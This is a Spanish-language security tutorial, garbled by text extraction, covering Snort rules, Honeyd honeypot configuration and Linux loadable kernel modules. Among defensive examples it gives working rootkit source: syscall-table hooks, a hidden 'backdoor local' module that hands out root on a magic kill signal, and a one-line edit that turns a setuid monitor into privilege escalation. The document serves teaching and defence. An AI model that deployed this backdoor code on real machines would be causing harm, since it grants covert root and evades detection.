$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 7: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

